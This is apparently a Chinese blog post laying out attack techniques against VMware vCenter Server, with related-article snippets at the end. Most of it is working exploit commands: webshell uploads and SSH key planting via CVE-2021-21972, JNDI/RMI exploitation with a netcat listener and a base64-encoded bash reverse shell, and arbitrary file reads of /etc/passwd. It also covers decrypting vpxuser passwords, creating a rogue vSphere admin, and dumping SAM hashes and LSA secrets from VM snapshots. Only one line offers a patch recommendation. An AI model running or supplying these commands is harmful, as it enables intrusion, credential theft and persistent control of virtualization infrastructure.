vCenter Server 常用攻击手法

VSole2022-12-08 09:17:53

cve-2021-22005

1. 影响范围:

  • vCenter Server 7.0 < 7.0 U2c build-18356314
  • vCenter Server 6.7 < 6.7 U3o build-18485166
  • Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
  • Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
  • 6.7 vCenters Windows版本不受影响
python3 .\exp.py -t https://192.168.52.152 -s api_all_jdk.jsp

连接木马,默认路径/storage/db/vmware-vmdir/data.mdb

2.vcenter_saml_login

db数据库存放位置

数据库存放路径
Windows vCenter:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb
Linux vCenter:/storage/db/vmware-vmdir/data.mdb

拖到本地利用:vcenter_saml_login

配置cmd代理,利用netch到本地127.0.0.1:1080

python3vcenter_saml_login.py-pdata.mdb-t1*.***.**.***

修改cookie进行连接

CVE-2021-21972

影响范围

  • vCenter Server7.0 < 7.0.U1c
  • vCenter Server6.7 < 6.7.U3l
  • vCenter Server6.5 < 6.5.U3n
/ui/vropspluginui/rest/services/uploadova

访问上面的路径,如果404,则代表不存在漏洞,如果405 则可能存在漏洞。

1.windows机器:

漏洞利用:https://github.com/horizon3ai/CVE-2021-21972

python CVE-2021-21972.py -t x.x.x.x -p c:\\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp
-t (目标地址)
-f (上传的文件)
-p (上传后的webshell路径,默认不用改)

上传后路径

https://x.x.x.x/statsreport/gsl.jsp
C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport

2. linux机器

写公私钥(需要22端口开放)

python3 CVE-2021-21972.py -t 10.16.8.168 -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f c://Users/think/.ssh/id_rsa.pub

遍历写shell(时间较久)

CVE-2021-21985

java -cp  JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer 8.8.8.8
nc -lvvp 55552
python3 cve-2021-21985.py https://host rmi://8.8.8.8:1099/Exploit

Log4j

${jndi:ldap://exp}

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "cmd /c whoami" -A "172.30.84.134"
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base编码内容}|{base64,-d}|{bash,-i}" -A "ip"

vmware未授权任意文件读取漏洞

漏洞影响版本

已知影响版本 VMware vCenter 6.5.0a-f

安全版本 VMware vCenter 6.5u1

# windows
/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
# linux
/eam/vib?id=/etc/passwd

vCenter低权限账户提权思路

获取ssh权限后修改密码

# Linux 
/usr/lib/vmware-vmdir/bin/vdcadmintool 
# Windows 
C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe
# 输入3回车
# 然后输入用户名(用户名输入错误会提示:VmDirForceResetPassword failed (9106))
# 复制生成的新密码(新密码不能自定义,只能工具生成的)
==================
Please select:
0. exit
1. Test LDAP connectivity
2. Force start replication cycle
3. Reset account password
4. Set log level and mask
5. Set vmdir state
6. Get vmdir state
7. Get vmdir log level and mask
==================

Vmware数据库配置文件

# linux
/etc/vmware-vpx/vcdb.properties
/etc/vmware/service-state/vpxd/vcdb.properties
# windows
C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties

连接数据库,读取 vpxuser 密钥

# linux
/opt/vmware/vpostgres/current/bin/psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
# windows
C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

获取symkey.dat文件

# linux
/etc/vmware-vpx/ssl/symkey.dat
# windows
C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat

解密 vpxuser 密码

python3 decrypt.py symkey.dat password.enc password.txt

拿到权限后添加账户

添加账户

python vCenterLDAP_Manage.py adduser
input the new username: 1234admininput the dn: cn=1234admin,cn=Users,dc=vsphere,dc=localinput the userPrincipalName: 1234admin@vsphere.local

提升至管理员

python vCenterLDAP_Manage.py addadmininput the user dn: cn=1234admin,cn=Users,dc=vsphere,dc=local

后续

创建快照

分析快照文件需要.vmem文件作为参数,而.vmem文件通常很大,为了提高效率,这里选择将volatility上传至VMware ESXI,在VMware ESXI上分析快照文件。

volatility下载:

Windows:

http://downloads.volatilityfoundation.org/releases/2.6/volatility_2.6_win64_standalone.exe

Linux:

http://downloads.volatilityfoundation.org/releases/2.6/volatility_2.6_lin64_standalone.zip

volatility利用

通过镜像信息获得系统版本,命令如下

.\volatility_2.6_win64_standalone.exe -f xxxx-Snapshot2.vmem imageinfo

读取profile,列出注册表内容

.\volatility_2.6_win64_standalone.exe -f xxx-Snapshot2.vmem --profile=xxx hivelist
## 关注
REGISTRY\MACHINE\SYSTEM
SystemRoot\System32\Config\SAM

使用hashdump获取hash值

.\volatility_2.6_win64_standalone.exe -f xxx-Snapshot2.vmem --profile=xxx hashdump -y 0xfffff8a000024010 -s 0xfffff8a000478010

从注册表读取LSA Secrets

.\volatility_2.6_win64_standalone.exe -f xxx-Snapshot2.vmem --profile=xxx lsadump

修复建议:及时测试并升级到最新版本或升级版本。

vcenterpython3
本作品采用《CC 协议》,转载必须注明作者和本文链接
它的云解决方案包括云产品,数据中心产品和桌面产品等。它包括了 vCenter Server, ESXi 和 vSphere client,是整套虚拟化部署方案的总和。是 vSphere 中最重要的一个组件。而 vSphere client 有更加详细的性能监控,批量更新接管所有 ESXi 系统版本。在 6.0 版本之后,官方已经取消了 C/S 架构的客户端,转而采用了 web 管理平台,又被称之为 vSphere web client。官方推荐将打包好的 Client 与 Server 应用部署在 VMware 自家的 Photon 系统下,其安装包命名为:VMware vCenter Server Appliance,简称为:VCSA。
笔者在对volatility工具进行了解后,对分析vmem文件的手法进行了一定优化,可以提升解决锁屏问题的效率。不过官方团队并没有打包volatility3的可执行程序,原因写的是打包出来的packages会被识别为恶意软件,解决了这个问题就会出可执行程序了。过程思路一、直接在esxi中部署volatility3项目Linux环境下的esxi,这个思考很快就被证明不太可行了,volatility3需要多个系统库和pip库:yum install zlib &&\yum install zlib-devel &&\yum install bzip2-devel &&\yum install ncurses-devel &&\yum install sqlite-devel &&\yum install readline-devel &&\yum install gcc &&\yum install libffi &&\yum install libffi-devel &&\yum install gcc-c++\yum install openssl-devel\yum install tk-devel
vCenter Server 常用攻击手法
在内网渗透中常常会碰到VmwareVcenter,对实战打法以及碰到的坑点做了一些总结,部分内容参考了师傅们提供的宝贵经验,衷心感谢各位师傅!
VMware vCenter漏洞实战利用总结
VMware Inc. 是一家软件公司。它开发了许多产品,尤其是各种云解决方案 。他的云解决方案包括云产品,数据中心产品和桌面产品等。
Vcenter一般指VMware vCenter Server,其提供了一个可伸缩、可扩展的平台,为虚拟化管理奠定了基础,可集中管理VMware vSphere环境,与其他管理平台相比,极大地提高了IT管理员对虚拟环境的控制,Vcenter可以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户操作系统和其他关键组件等所有信息。
奇安信CERT致力于第一时间为企业级用户提供安全风险通告和有效解决方案。风险通告近日,奇安信CERT监测到V
0x01 确定目标无目标随便打,有没有自己对应的SRC应急响应平台不说,还往往会因为一开始没有挖掘到漏洞而随意放弃,这样往往不能挖掘到深层次的漏洞。所以在真的想要花点时间在SRC漏洞挖掘上的话,建议先选好目标。0x02 确认测试范围前面说到确定测什么SRC,那么下面就要通过一些方法,获取这个SRC的测试范围,以免测偏。
SRC信息收集思路分享
2021-11-03 09:28:57
说到信息收集,网上已经有许多文章进行描述了,那么从正常的子域名、端口、旁站、C段等进
VSole
网络安全专家